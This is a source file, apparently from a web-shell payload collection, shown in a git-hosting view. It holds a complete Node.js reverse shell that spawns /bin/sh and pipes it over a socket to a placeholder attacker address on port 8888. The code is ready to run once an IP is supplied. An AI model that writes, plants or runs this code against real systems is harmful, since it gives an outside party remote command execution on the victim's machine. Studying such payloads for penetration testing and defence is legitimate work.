webshell/nodejs/shell.js

12 lines
287 B
JavaScript
Raw Normal View History

2018-12-22 11:30:19 +00:00
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh",[]);
var client = new net.Socket();
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
2018-12-22 11:23:22 +00:00
})();